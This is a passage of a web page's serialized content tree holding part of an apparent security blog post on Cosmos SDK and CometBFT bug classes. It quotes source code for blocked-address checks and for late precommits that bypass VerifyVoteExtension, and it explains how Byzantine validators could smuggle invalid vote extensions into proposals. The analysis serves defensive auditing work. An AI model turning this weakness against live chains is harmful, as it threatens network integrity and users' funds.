err",{"type":20,"tag":315,"props":80947,"children":80948},{"style":334},[80949],{"type":26,"value":1395},{"type":20,"tag":315,"props":80951,"children":80952},{"style":635},[80953],{"type":26,"value":79514},{"type":20,"tag":315,"props":80955,"children":80956},{"style":328},[80957],{"type":26,"value":61},{"type":20,"tag":315,"props":80959,"children":80960},{"style":635},[80961],{"type":26,"value":80962},"bankKeeper",{"type":20,"tag":315,"props":80964,"children":80965},{"style":328},[80966],{"type":26,"value":61},{"type":20,"tag":315,"props":80968,"children":80969},{"style":345},[80970],{"type":26,"value":79901},{"type":20,"tag":315,"props":80972,"children":80973},{"style":328},[80974],{"type":26,"value":353},{"type":20,"tag":315,"props":80976,"children":80977},{"class":317,"line":22329},[80978,80982],{"type":20,"tag":315,"props":80979,"children":80980},{"style":635},[80981],{"type":26,"value":24602},{"type":20,"tag":315,"props":80983,"children":80984},{"style":328},[80985],{"type":26,"value":643},{"type":20,"tag":315,"props":80987,"children":80988},{"class":317,"line":22338},[80989,80994,80998,81003],{"type":20,"tag":315,"props":80990,"children":80991},{"style":635},[80992],{"type":26,"value":80993}," types",{"type":20,"tag":315,"props":80995,"children":80996},{"style":328},[80997],{"type":26,"value":61},{"type":20,"tag":315,"props":80999,"children":81000},{"style":635},[81001],{"type":26,"value":81002},"ModuleName",{"type":20,"tag":315,"props":81004,"children":81005},{"style":328},[81006],{"type":26,"value":643},{"type":20,"tag":315,"props":81008,"children":81009},{"class":317,"line":30696},[81010,81014],{"type":20,"tag":315,"props":81011,"children":81012},{"style":635},[81013],{"type":26,"value":80411},{"type":20,"tag":315,"props":81015,"children":81016},{"style":328},[81017],{"type":26,"value":643},{"type":20,"tag":315,"props":81019,"children":81020},{"class":317,"line":30717},[81021,81026],{"type":20,"tag":315,"props":81022,"children":81023},{"style":635},[81024],{"type":26,"value":81025}," coins",{"type":20,"tag":315,"props":81027,"children":81028},{"style":328},[81029],{"type":26,"value":643},{"type":20,"tag":315,"props":81031,"children":81032},{"class":317,"line":79209},[81033],{"type":20,"tag":315,"props":81034,"children":81035},{"style":328},[81036],{"type":26,"value":22335},{"type":20,"tag":315,"props":81038,"children":81039},{"class":317,"line":79222},[81040,81044,81048,81052,81056],{"type":20,"tag":315,"props":81041,"children":81042},{"style":525},[81043],{"type":26,"value":10680},{"type":20,"tag":315,"props":81045,"children":81046},{"style":635},[81047],{"type":26,"value":46772},{"type":20,"tag":315,"props":81049,"children":81050},{"style":334},[81051],{"type":26,"value":62641},{"type":20,"tag":315,"props":81053,"children":81054},{"style":541},[81055],{"type":26,"value":80176},{"type":20,"tag":315,"props":81057,"children":81058},{"style":328},[81059],{"type":26,"value":1092},{"type":20,"tag":315,"props":81061,"children":81062},{"class":317,"line":79230},[81063,81067,81071,81075,81079,81083,81088,81092,81096],{"type":20,"tag":315,"props":81064,"children":81065},{"style":525},[81066],{"type":26,"value":14145},{"type":20,"tag":315,"props":81068,"children":81069},{"style":635},[81070],{"type":26,"value":80492},{"type":20,"tag":315,"props":81072,"children":81073},{"style":328},[81074],{"type":26,"value":61},{"type":20,"tag":315,"props":81076,"children":81077},{"style":345},[81078],{"type":26,"value":80209},{"type":20,"tag":315,"props":81080,"children":81081},{"style":328},[81082],{"type":26,"value":1049},{"type":20,"tag":315,"props":81084,"children":81085},{"style":2652},[81086],{"type":26,"value":81087},"\"failed to send coins: %w\"",{"type":20,"tag":315,"props":81089,"children":81090},{"style":328},[81091],{"type":26,"value":44},{"type":20,"tag":315,"props":81093,"children":81094},{"style":635},[81095],{"type":26,"value":46671},{"type":20,"tag":315,"props":81097,"children":81098},{"style":328},[81099],{"type":26,"value":380},{"type":20,"tag":315,"props":81101,"children":81102},{"class":317,"line":79238},[81103],{"type":20,"tag":315,"props":81104,"children":81105},{"style":328},[81106],{"type":26,"value":1736},{"type":20,"tag":315,"props":81108,"children":81109},{"class":317,"line":79246},[81110],{"type":20,"tag":315,"props":81111,"children":81112},{"style":334},[81113],{"type":26,"value":18743},{"type":20,"tag":315,"props":81115,"children":81116},{"class":317,"line":79286},[81117],{"type":20,"tag":315,"props":81118,"children":81119},{"style":328},[81120],{"type":26,"value":577},{"type":20,"tag":305,"props":81122,"children":81124},{"code":81123,"language":74422,"meta":7,"className":74423,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[81125],{"type":20,"tag":119,"props":81126,"children":81127},{"__ignoreMap":7},[81128,81160,81239,81254,81262,81293,81351,81358,81365],{"type":20,"tag":315,"props":81129,"children":81130},{"class":317,"line":318},[81131,81135,81139,81143,81148,81152,81156],{"type":20,"tag":315,"props":81132,"children":81133},{"style":541},[81134],{"type":26,"value":74558},{"type":20,"tag":315,"props":81136,"children":81137},{"style":328},[81138],{"type":26,"value":463},{"type":20,"tag":315,"props":81140,"children":81141},{"style":635},[81142],{"type":26,"value":79386},{"type":20,"tag":315,"props":81144,"children":81145},{"style":322},[81146],{"type":26,"value":81147},"BaseKeeper",{"type":20,"tag":315,"props":81149,"children":81150},{"style":328},[81151],{"type":26,"value":1468},{"type":20,"tag":315,"props":81153,"children":81154},{"style":345},[81155],{"type":26,"value":79901},{"type":20,"tag":315,"props":81157,"children":81158},{"style":328},[81159],{"type":26,"value":353},{"type":20,"tag":315,"props":81161,"children":81162},{"class":317,"line":356},[81163,81167,81171,81175,81179,81183,81188,81192,81196,81201,81205,81209,81213,81217,81222,81226,81230,81235],{"type":20,"tag":315,"props":81164,"children":81165},{"style":635},[81166],{"type":26,"value":24259},{"type":20,"tag":315,"props":81168,"children":81169},{"style":322},[81170],{"type":26,"value":74598},{"type":20,"tag":315,"props":81172,"children":81173},{"style":328},[81174],{"type":26,"value":61},{"type":20,"tag":315,"props":81176,"children":81177},{"style":322},[81178],{"type":26,"value":74607},{"type":20,"tag":315,"props":81180,"children":81181},{"style":328},[81182],{"type":26,"value":44},{"type":20,"tag":315,"props":81184,"children":81185},{"style":635},[81186],{"type":26,"value":81187},"senderModule",{"type":20,"tag":315,"props":81189,"children":81190},{"style":322},[81191],{"type":26,"value":34445},{"type":20,"tag":315,"props":81193,"children":81194},{"style":328},[81195],{"type":26,"value":44},{"type":20,"tag":315,"props":81197,"children":81198},{"style":635},[81199],{"type":26,"value":81200},"recipientAddr",{"type":20,"tag":315,"props":81202,"children":81203},{"style":322},[81204],{"type":26,"value":76899},{"type":20,"tag":315,"props":81206,"children":81207},{"style":328},[81208],{"type":26,"value":61},{"type":20,"tag":315,"props":81210,"children":81211},{"style":322},[81212],{"type":26,"value":80886},{"type":20,"tag":315,"props":81214,"children":81215},{"style":328},[81216],{"type":26,"value":44},{"type":20,"tag":315,"props":81218,"children":81219},{"style":635},[81220],{"type":26,"value":81221},"amt",{"type":20,"tag":315,"props":81223,"children":81224},{"style":322},[81225],{"type":26,"value":76899},{"type":20,"tag":315,"props":81227,"children":81228},{"style":328},[81229],{"type":26,"value":61},{"type":20,"tag":315,"props":81231,"children":81232},{"style":322},[81233],{"type":26,"value":81234},"Coins",{"type":20,"tag":315,"props":81236,"children":81237},{"style":328},[81238],{"type":26,"value":643},{"type":20,"tag":315,"props":81240,"children":81241},{"class":317,"line":365},[81242,81246,81250],{"type":20,"tag":315,"props":81243,"children":81244},{"style":328},[81245],{"type":26,"value":1468},{"type":20,"tag":315,"props":81247,"children":81248},{"style":322},[81249],{"type":26,"value":13264},{"type":20,"tag":315,"props":81251,"children":81252},{"style":328},[81253],{"type":26,"value":1092},{"type":20,"tag":315,"props":81255,"children":81256},{"class":317,"line":374},[81257],{"type":20,"tag":315,"props":81258,"children":81259},{"style":334},[81260],{"type":26,"value":81261}," ...\n",{"type":20,"tag":315,"props":81263,"children":81264},{"class":317,"line":383},[81265,81269,81273,81277,81281,81285,81289],{"type":20,"tag":315,"props":81266,"children":81267},{"style":525},[81268],{"type":26,"value":14189},{"type":20,"tag":315,"props":81270,"children":81271},{"style":635},[81272],{"type":26,"value":79514},{"type":20,"tag":315,"props":81274,"children":81275},{"style":328},[81276],{"type":26,"value":61},{"type":20,"tag":315,"props":81278,"children":81279},{"style":345},[81280],{"type":26,"value":79917},{"type":20,"tag":315,"props":81282,"children":81283},{"style":328},[81284],{"type":26,"value":1049},{"type":20,"tag":315,"props":81286,"children":81287},{"style":635},[81288],{"type":26,"value":81200},{"type":20,"tag":315,"props":81290,"children":81291},{"style":328},[81292],{"type":26,"value":549},{"type":20,"tag":315,"props":81294,"children":81295},{"class":317,"line":407},[81296,81300,81305,81309,81313,81317,81321,81325,81330,81334,81339,81343,81347],{"type":20,"tag":315,"props":81297,"children":81298},{"style":525},[81299],{"type":26,"value":37615},{"type":20,"tag":315,"props":81301,"children":81302},{"style":635},[81303],{"type":26,"value":81304}," errorsmod",{"type":20,"tag":315,"props":81306,"children":81307},{"style":328},[81308],{"type":26,"value":61},{"type":20,"tag":315,"props":81310,"children":81311},{"style":345},[81312],{"type":26,"value":79168},{"type":20,"tag":315,"props":81314,"children":81315},{"style":328},[81316],{"type":26,"value":1049},{"type":20,"tag":315,"props":81318,"children":81319},{"style":635},[81320],{"type":26,"value":78830},{"type":20,"tag":315,"props":81322,"children":81323},{"style":328},[81324],{"type":26,"value":61},{"type":20,"tag":315,"props":81326,"children":81327},{"style":635},[81328],{"type":26,"value":81329},"ErrUnauthorized",{"type":20,"tag":315,"props":81331,"children":81332},{"style":328},[81333],{"type":26,"value":44},{"type":20,"tag":315,"props":81335,"children":81336},{"style":2652},[81337],{"type":26,"value":81338},"\"%s is not allowed to receive funds\"",{"type":20,"tag":315,"props":81340,"children":81341},{"style":328},[81342],{"type":26,"value":44},{"type":20,"tag":315,"props":81344,"children":81345},{"style":635},[81346],{"type":26,"value":81200},{"type":20,"tag":315,"props":81348,"children":81349},{"style":328},[81350],{"type":26,"value":380},{"type":20,"tag":315,"props":81352,"children":81353},{"class":317,"line":421},[81354],{"type":20,"tag":315,"props":81355,"children":81356},{"style":328},[81357],{"type":26,"value":7995},{"type":20,"tag":315,"props":81359,"children":81360},{"class":317,"line":430},[81361],{"type":20,"tag":315,"props":81362,"children":81363},{"style":334},[81364],{"type":26,"value":81261},{"type":20,"tag":315,"props":81366,"children":81367},{"class":317,"line":453},[81368],{"type":20,"tag":315,"props":81369,"children":81370},{"style":328},[81371],{"type":26,"value":577},{"type":20,"tag":29,"props":81373,"children":81374},{},[81375,81377,81384],{"type":26,"value":81376},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":20,"tag":35,"props":81378,"children":81381},{"href":81379,"rel":81380},"https://hackerone.com/reports/3018307",[39],[81382],{"type":26,"value":81383},"improper decimal handling in the group module",{"type":26,"value":61},{"type":20,"tag":21,"props":81386,"children":81388},{"id":81387},"same-same-but-different",[81389],{"type":26,"value":81390},"Same, Same... But Different",{"type":20,"tag":29,"props":81392,"children":81393},{},[81394,81396,81402,81403,81409,81410,81416,81417,81423],{"type":26,"value":81395},"Cosmos exposes several consensus-level interfaces, such as ",{"type":20,"tag":119,"props":81397,"children":81399},{"className":81398},[],[81400],{"type":26,"value":81401},"PrepareProposal",{"type":26,"value":44},{"type":20,"tag":119,"props":81404,"children":81406},{"className":81405},[],[81407],{"type":26,"value":81408},"ProcessProposal",{"type":26,"value":44},{"type":20,"tag":119,"props":81411,"children":81413},{"className":81412},[],[81414],{"type":26,"value":81415},"ExtendVote",{"type":26,"value":4882},{"type":20,"tag":119,"props":81418,"children":81420},{"className":81419},[],[81421],{"type":26,"value":81422},"VerifyVoteExtension",{"type":26,"value":81424},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":20,"tag":29,"props":81426,"children":81427},{},[81428],{"type":26,"value":81429},"Two of the best-known attack surfaces are",{"type":20,"tag":68,"props":81431,"children":81432},{},[81433,81462],{"type":20,"tag":72,"props":81434,"children":81435},{},[81436,81441,81442,81447,81449,81454,81455,81460],{"type":20,"tag":119,"props":81437,"children":81439},{"className":81438},[],[81440],{"type":26,"value":81401},{"type":26,"value":463},{"type":20,"tag":119,"props":81443,"children":81445},{"className":81444},[],[81446],{"type":26,"value":81415},{"type":26,"value":81448},") outputs being rejected due to ",{"type":20,"tag":119,"props":81450,"children":81452},{"className":81451},[],[81453],{"type":26,"value":81408},{"type":26,"value":463},{"type":20,"tag":119,"props":81456,"children":81458},{"className":81457},[],[81459],{"type":26,"value":81422},{"type":26,"value":81461},") over-validating, resulting in liveness failures.",{"type":20,"tag":72,"props":81463,"children":81464},{},[81465,81467,81472,81473,81478,81480,81485,81486,81491],{"type":26,"value":81466},"Malicious proposals and vote extensions not created through the ",{"type":20,"tag":119,"props":81468,"children":81470},{"className":81469},[],[81471],{"type":26,"value":81401},{"type":26,"value":463},{"type":20,"tag":119,"props":81474,"children":81476},{"className":81475},[],[81477],{"type":26,"value":81415},{"type":26,"value":81479},") are accepted due to ",{"type":20,"tag":119,"props":81481,"children":81483},{"className":81482},[],[81484],{"type":26,"value":81408},{"type":26,"value":463},{"type":20,"tag":119,"props":81487,"children":81489},{"className":81488},[],[81490],{"type":26,"value":81422},{"type":26,"value":81492},") under-validating.",{"type":20,"tag":29,"props":81494,"children":81495},{},[81496],{"type":26,"value":81497},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":20,"tag":29,"props":81499,"children":81500},{},[81501,81503,81509,81511,81516],{"type":26,"value":81502},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":20,"tag":119,"props":81504,"children":81506},{"className":81505},[],[81507],{"type":26,"value":81508},"VoteExtensions",{"type":26,"value":81510}," within ",{"type":20,"tag":119,"props":81512,"children":81514},{"className":81513},[],[81515],{"type":26,"value":81401},{"type":26,"value":81517},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":20,"tag":29,"props":81519,"children":81520},{},[81521,81523,81528,81530,81535],{"type":26,"value":81522},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":20,"tag":119,"props":81524,"children":81526},{"className":81525},[],[81527],{"type":26,"value":81415},{"type":26,"value":81529}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":20,"tag":119,"props":81531,"children":81533},{"className":81532},[],[81534],{"type":26,"value":81422},{"type":26,"value":81536},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":20,"tag":29,"props":81538,"children":81539},{},[81540,81542,81547],{"type":26,"value":81541},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":20,"tag":119,"props":81543,"children":81545},{"className":81544},[],[81546],{"type":26,"value":81422},{"type":26,"value":81548}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":20,"tag":29,"props":81550,"children":81551},{},[81552,81554,81559,81561,81567],{"type":26,"value":81553},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":20,"tag":119,"props":81555,"children":81557},{"className":81556},[],[81558],{"type":26,"value":81422},{"type":26,"value":81560},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":20,"tag":119,"props":81562,"children":81564},{"className":81563},[],[81565],{"type":26,"value":81566},"Proposal",{"type":26,"value":61},{"type":20,"tag":305,"props":81569,"children":81571},{"code":81570,"language":74422,"meta":7,"className":74423,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[81572],{"type":20,"tag":119,"props":81573,"children":81574},{"__ignoreMap":7},[81575,81687,81694,81701,81709,81717,81801,81808,81816,81870,81877,81898,81905,81977,81993,82000,82074,82130,82137,82199,82206,82213,82232,82239,82246,82253],{"type":20,"tag":315,"props":81576,"children":81577},{"class":317,"line":318},[81578,81582,81586,81591,81595,81600,81604,81609,81613,81618,81622,81626,81630,81635,81639,81644,81649,81653,81658,81662,81667,81671,81675,81679,81683],{"type":20,"tag":315,"props":81579,"children":81580},{"style":541},[81581],{"type":26,"value":74558},{"type":20,"tag":315,"props":81583,"children":81584},{"style":328},[81585],{"type":26,"value":463},{"type":20,"tag":315,"props":81587,"children":81588},{"style":635},[81589],{"type":26,"value":81590},"cs ",{"type":20,"tag":315,"props":81592,"children":81593},{"style":334},[81594],{"type":26,"value":901},{"type":20,"tag":315,"props":81596,"children":81597},{"style":322},[81598],{"type":26,"value":81599},"State",{"type":20,"tag":315,"props":81601,"children":81602},{"style":328},[81603],{"type":26,"value":1468},{"type":20,"tag":315,"props":81605,"children":81606},{"style":345},[81607],{"type":26,"value":81608},"addVote",{"type":20,"tag":315,"props":81610,"children":81611},{"style":328},[81612],{"type":26,"value":1049},{"type":20,"tag":315,"props":81614,"children":81615},{"style":635},[81616],{"type":26,"value":81617},"vote",{"type":20,"tag":315,"props":81619,"children":81620},{"style":334},[81621],{"type":26,"value":8216},{"type":20,"tag":315,"props":81623,"children":81624},{"style":322},[81625],{"type":26,"value":4151},{"type":20,"tag":315,"props":81627,"children":81628},{"style":328},[81629],{"type":26,"value":61},{"type":20,"tag":315,"props":81631,"children":81632},{"style":322},[81633],{"type":26,"value":81634},"Vote",{"type":20,"tag":315,"props":81636,"children":81637},{"style":328},[81638],{"type":26,"value":44},{"type":20,"tag":315,"props":81640,"children":81641},{"style":635},[81642],{"type":26,"value":81643},"peerID",{"type":20,"tag":315,"props":81645,"children":81646},{"style":322},[81647],{"type":26,"value":81648}," p2p",{"type":20,"tag":315,"props":81650,"children":81651},{"style":328},[81652],{"type":26,"value":61},{"type":20,"tag":315,"props":81654,"children":81655},{"style":322},[81656],{"type":26,"value":81657},"ID",{"type":20,"tag":315,"props":81659,"children":81660},{"style":328},[81661],{"type":26,"value":74640},{"type":20,"tag":315,"props":81663,"children":81664},{"style":635},[81665],{"type":26,"value":81666},"added",{"type":20,"tag":315,"props":81668,"children":81669},{"style":322},[81670],{"type":26,"value":10451},{"type":20,"tag":315,"props":81672,"children":81673},{"style":328},[81674],{"type":26,"value":44},{"type":20,"tag":315,"props":81676,"children":81677},{"style":635},[81678],{"type":26,"value":46671},{"type":20,"tag":315,"props":81680,"children":81681},{"style":322},[81682],{"type":26,"value":13277},{"type":20,"tag":315,"props":81684,"children":81685},{"style":328},[81686],{"type":26,"value":549},{"type":20,"tag":315,"props":81688,"children":81689},{"class":317,"line":356},[81690],{"type":20,"tag":315,"props":81691,"children":81692},{"style":334},[81693],{"type":26,"value":18743},{"type":20,"tag":315,"props":81695,"children":81696},{"class":317,"line":365},[81697],{"type":20,"tag":315,"props":81698,"children":81699},{"emptyLinePlaceholder":15},[81700],{"type":26,"value":427},{"type":20,"tag":315,"props":81702,"children":81703},{"class":317,"line":374},[81704],{"type":20,"tag":315,"props":81705,"children":81706},{"style":1071},[81707],{"type":26,"value":81708}," // A precommit for the previous height?\n",{"type":20,"tag":315,"props":81710,"children":81711},{"class":317,"line":383},[81712],{"type":20,"tag":315,"props":81713,"children":81714},{"style":1071},[81715],{"type":26,"value":81716}," // These come in while we wait timeoutCommit\n",{"type":20,"tag":315,"props":81718,"children":81719},{"class":317,"line":407},[81720,81724,81729,81733,81738,81742,81746,81750,81755,81759,81763,81767,81771,81775,81780,81784,81788,81792,81797],{"type":20,"tag":315,"props":81721,"children":81722},{"style":525},[81723],{"type":26,"value":10680},{"type":20,"tag":315,"props":81725,"children":81726},{"style":635},[81727],{"type":26,"value":81728}," vote",{"type":20,"tag":315,"props":81730,"children":81731},{"style":328},[81732],{"type":26,"value":61},{"type":20,"tag":315,"props":81734,"children":81735},{"style":635},[81736],{"type":26,"value":81737},"Height",{"type":20,"tag":315,"props":81739,"children":81740},{"style":334},[81741],{"type":26,"value":817},{"type":20,"tag":315,"props":81743,"children":81744},{"style":765},[81745],{"type":26,"value":2406},{"type":20,"tag":315,"props":81747,"children":81748},{"style":334},[81749],{"type":26,"value":1664},{"type":20,"tag":315,"props":81751,"children":81752},{"style":635},[81753],{"type":26,"value":81754}," cs",{"type":20,"tag":315,"props":81756,"children":81757},{"style":328},[81758],{"type":26,"value":61},{"type":20,"tag":315,"props":81760,"children":81761},{"style":635},[81762],{"type":26,"value":81737},{"type":20,"tag":315,"props":81764,"children":81765},{"style":334},[81766],{"type":26,"value":12586},{"type":20,"tag":315,"props":81768,"children":81769},{"style":635},[81770],{"type":26,"value":81728},{"type":20,"tag":315,"props":81772,"children":81773},{"style":328},[81774],{"type":26,"value":61},{"type":20,"tag":315,"props":81776,"children":81777},{"style":635},[81778],{"type":26,"value":81779},"Type",{"type":20,"tag":315,"props":81781,"children":81782},{"style":334},[81783],{"type":26,"value":1664},{"type":20,"tag":315,"props":81785,"children":81786},{"style":635},[81787],{"type":26,"value":76433},{"type":20,"tag":315,"props":81789,"children":81790},{"style":328},[81791],{"type":26,"value":61},{"type":20,"tag":315,"props":81793,"children":81794},{"style":635},[81795],{"type":26,"value":81796},"PrecommitType",{"type":20,"tag":315,"props":81798,"children":81799},{"style":328},[81800],{"type":26,"value":1092},{"type":20,"tag":315,"props":81802,"children":81803},{"class":317,"line":421},[81804],{"type":20,"tag":315,"props":81805,"children":81806},{"style":334},[81807],{"type":26,"value":80100},{"type":20,"tag":315,"props":81809,"children":81810},{"class":317,"line":430},[81811],{"type":20,"tag":315,"props":81812,"children":81813},{"style":1071},[81814],{"type":26,"value":81815}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":20,"tag":315,"props":81817,"children":81818},{"class":317,"line":453},[81819,81824,81828,81832,81836,81840,81844,81849,81853,81858,81862,81866],{"type":20,"tag":315,"props":81820,"children":81821},{"style":635},[81822],{"type":26,"value":81823}," added",{"type":20,"tag":315,"props":81825,"children":81826},{"style":328},[81827],{"type":26,"value":44},{"type":20,"tag":315,"props":81829,"children":81830},{"style":635},[81831],{"type":26,"value":46671},{"type":20,"tag":315,"props":81833,"children":81834},{"style":334},[81835],{"type":26,"value":1395},{"type":20,"tag":315,"props":81837,"children":81838},{"style":635},[81839],{"type":26,"value":81754},{"type":20,"tag":315,"props":81841,"children":81842},{"style":328},[81843],{"type":26,"value":61},{"type":20,"tag":315,"props":81845,"children":81846},{"style":635},[81847],{"type":26,"value":81848},"LastCommit",{"type":20,"tag":315,"props":81850,"children":81851},{"style":328},[81852],{"type":26,"value":61},{"type":20,"tag":315,"props":81854,"children":81855},{"style":345},[81856],{"type":26,"value":81857},"AddVote",{"type":20,"tag":315,"props":81859,"children":81860},{"style":328},[81861],{"type":26,"value":1049},{"type":20,"tag":315,"props":81863,"children":81864},{"style":635},[81865],{"type":26,"value":81617},{"type":20,"tag":315,"props":81867,"children":81868},{"style":328},[81869],{"type":26,"value":380},{"type":20,"tag":315,"props":81871,"children":81872},{"class":317,"line":486},[81873],{"type":20,"tag":315,"props":81874,"children":81875},{"style":334},[81876],{"type":26,"value":80100},{"type":20,"tag":315,"props":81878,"children":81879},{"class":317,"line":499},[81880,81884,81889,81893],{"type":20,"tag":315,"props":81881,"children":81882},{"style":525},[81883],{"type":26,"value":14145},{"type":20,"tag":315,"props":81885,"children":81886},{"style":635},[81887],{"type":26,"value":81888}," added",{"type":20,"tag":315,"props":81890,"children":81891},{"style":328},[81892],{"type":26,"value":44},{"type":20,"tag":315,"props":81894,"children":81895},{"style":635},[81896],{"type":26,"value":81897},"err\n",{"type":20,"tag":315,"props":81899,"children":81900},{"class":317,"line":513},[81901],{"type":20,"tag":315,"props":81902,"children":81903},{"style":328},[81904],{"type":26,"value":1736},{"type":20,"tag":315,"props":81906,"children":81907},{"class":317,"line":521},[81908,81913,81917,81921,81925,81930,81934,81939,81943,81948,81952,81957,81961,81965,81969,81973],{"type":20,"tag":315,"props":81909,"children":81910},{"style":635},[81911],{"type":26,"value":81912}," extEnabled",{"type":20,"tag":315,"props":81914,"children":81915},{"style":334},[81916],{"type":26,"value":74674},{"type":20,"tag":315,"props":81918,"children":81919},{"style":635},[81920],{"type":26,"value":81754},{"type":20,"tag":315,"props":81922,"children":81923},{"style":328},[81924],{"type":26,"value":61},{"type":20,"tag":315,"props":81926,"children":81927},{"style":635},[81928],{"type":26,"value":81929},"state",{"type":20,"tag":315,"props":81931,"children":81932},{"style":328},[81933],{"type":26,"value":61},{"type":20,"tag":315,"props":81935,"children":81936},{"style":635},[81937],{"type":26,"value":81938},"ConsensusParams",{"type":20,"tag":315,"props":81940,"children":81941},{"style":328},[81942],{"type":26,"value":61},{"type":20,"tag":315,"props":81944,"children":81945},{"style":635},[81946],{"type":26,"value":81947},"Feature",{"type":20,"tag":315,"props":81949,"children":81950},{"style":328},[81951],{"type":26,"value":61},{"type":20,"tag":315,"props":81953,"children":81954},{"style":345},[81955],{"type":26,"value":81956},"VoteExtensionsEnabled",{"type":20,"tag":315,"props":81958,"children":81959},{"style":328},[81960],{"type":26,"value":1049},{"type":20,"tag":315,"props":81962,"children":81963},{"style":635},[81964],{"type":26,"value":81617},{"type":20,"tag":315,"props":81966,"children":81967},{"style":328},[81968],{"type":26,"value":61},{"type":20,"tag":315,"props":81970,"children":81971},{"style":635},[81972],{"type":26,"value":81737},{"type":20,"tag":315,"props":81974,"children":81975},{"style":328},[81976],{"type":26,"value":380},{"type":20,"tag":315,"props":81978,"children":81979},{"class":317,"line":552},[81980,81984,81989],{"type":20,"tag":315,"props":81981,"children":81982},{"style":525},[81983],{"type":26,"value":10680},{"type":20,"tag":315,"props":81985,"children":81986},{"style":635},[81987],{"type":26,"value":81988}," extEnabled",{"type":20,"tag":315,"props":81990,"children":81991},{"style":328},[81992],{"type":26,"value":1092},{"type":20,"tag":315,"props":81994,"children":81995},{"class":317,"line":571},[81996],{"type":20,"tag":315,"props":81997,"children":81998},{"style":334},[81999],{"type":26,"value":80100},{"type":20,"tag":315,"props":82001,"children":82002},{"class":317,"line":2031},[82003,82007,82011,82015,82019,82023,82027,82031,82035,82039,82043,82047,82051,82056,82060,82065,82069],{"type":20,"tag":315,"props":82004,"children":82005},{"style":525},[82006],{"type":26,"value":1654},{"type":20,"tag":315,"props":82008,"children":82009},{"style":635},[82010],{"type":26,"value":81728},{"type":20,"tag":315,"props":82012,"children":82013},{"style":328},[82014],{"type":26,"value":61},{"type":20,"tag":315,"props":82016,"children":82017},{"style":635},[82018],{"type":26,"value":81779},{"type":20,"tag":315,"props":82020,"children":82021},{"style":334},[82022],{"type":26,"value":1664},{"type":20,"tag":315,"props":82024,"children":82025},{"style":635},[82026],{"type":26,"value":76433},{"type":20,"tag":315,"props":82028,"children":82029},{"style":328},[82030],{"type":26,"value":61},{"type":20,"tag":315,"props":82032,"children":82033},{"style":635},[82034],{"type":26,"value":81796},{"type":20,"tag":315,"props":82036,"children":82037},{"style":334},[82038],{"type":26,"value":12586},{"type":20,"tag":315,"props":82040,"children":82041},{"style":334},[82042],{"type":26,"value":11264},{"type":20,"tag":315,"props":82044,"children":82045},{"style":635},[82046],{"type":26,"value":81617},{"type":20,"tag":315,"props":82048,"children":82049},{"style":328},[82050],{"type":26,"value":61},{"type":20,"tag":315,"props":82052,"children":82053},{"style":635},[82054],{"type":26,"value":82055},"BlockID",{"type":20,"tag":315,"props":82057,"children":82058},{"style":328},[82059],{"type":26,"value":61},{"type":20,"tag":315,"props":82061,"children":82062},{"style":345},[82063],{"type":26,"value":82064},"IsNil",{"type":20,"tag":315,"props":82066,"children":82067},{"style":328},[82068],{"type":26,"value":12444},{"type":20,"tag":315,"props":82070,"children":82071},{"style":334},[82072],{"type":26,"value":82073},"&&\n",{"type":20,"tag":315,"props":82075,"children":82076},{"class":317,"line":2053},[82077,82082,82087,82091,82095,82099,82103,82107,82112,82116,82121,82125],{"type":20,"tag":315,"props":82078,"children":82079},{"style":334},[82080],{"type":26,"value":82081}," !",{"type":20,"tag":315,"props":82083,"children":82084},{"style":635},[82085],{"type":26,"value":82086},"bytes",{"type":20,"tag":315,"props":82088,"children":82089},{"style":328},[82090],{"type":26,"value":61},{"type":20,"tag":315,"props":82092,"children":82093},{"style":345},[82094],{"type":26,"value":80556},{"type":20,"tag":315,"props":82096,"children":82097},{"style":328},[82098],{"type":26,"value":1049},{"type":20,"tag":315,"props":82100,"children":82101},{"style":635},[82102],{"type":26,"value":81617},{"type":20,"tag":315,"props":82104,"children":82105},{"style":328},[82106],{"type":26,"value":61},{"type":20,"tag":315,"props":82108,"children":82109},{"style":635},[82110],{"type":26,"value":82111},"ValidatorAddress",{"type":20,"tag":315,"props":82113,"children":82114},{"style":328},[82115],{"type":26,"value":44},{"type":20,"tag":315,"props":82117,"children":82118},{"style":635},[82119],{"type":26,"value":82120},"myAddr",{"type":20,"tag":315,"props":82122,"children":82123},{"style":328},[82124],{"type":26,"value":22405},{"type":20,"tag":315,"props":82126,"children":82127},{"style":1071},[82128],{"type":26,"value":82129},"// Skip the VerifyVoteExtension call if the vote was issued by this 